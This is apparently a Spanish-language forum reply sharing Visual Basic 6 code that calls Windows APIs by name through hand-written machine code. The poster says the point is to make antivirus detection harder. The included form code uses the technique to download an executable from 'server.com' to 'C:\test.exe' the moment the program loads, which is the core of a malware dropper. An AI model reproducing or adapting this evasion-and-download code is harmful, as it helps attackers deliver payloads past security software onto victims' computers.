Veo que sigues sin usar mucho el buscador del foro
Hay una función hecha por Cobein buenísima que llama a una API directamente por su nombre, esto dificulta su detección por los antivirus y llamando de esta forma a la API URLDownloadToFileW no hay problema alguno para descargar un fichero.
Módulo: 'Call API Function
'Credits to Cobein
Declare Sub RtlMoveMemory Lib "kernel32" (dest As Any, src As Any, ByVal L As Long)
Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
Function CallApiByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
On Error Resume Next
Dim lPtr As Long
Dim bvASM(&HEC00& - 1) As Byte
Dim I As Long
Dim lMod As Long
lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
If lMod = 0 Then Exit Function
lPtr = VarPtr(bvASM(0))
RtlMoveMemory ByVal lPtr, &H59595958, &H4: lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, &H5059, &H2: lPtr = lPtr + 2
For I = UBound(Params) To 0 Step -1
RtlMoveMemory ByVal lPtr, &H68, &H1: lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, CLng(Params(I)), &H4: lPtr = lPtr + 4
Next
RtlMoveMemory ByVal lPtr, &HE8, &H1: lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4: lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, &HC3, &H1: lPtr = lPtr + 1
CallApiByName = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
End Function
Form:Private Sub Form_Load()
lRet = CallApiByName("urlmon", "URLDownloadToFileW", 0, StrPtr("http://server.com/test.exe"), StrPtr("C:\test.exe"), 0, 0)
End Sub
Saludos!
Autor
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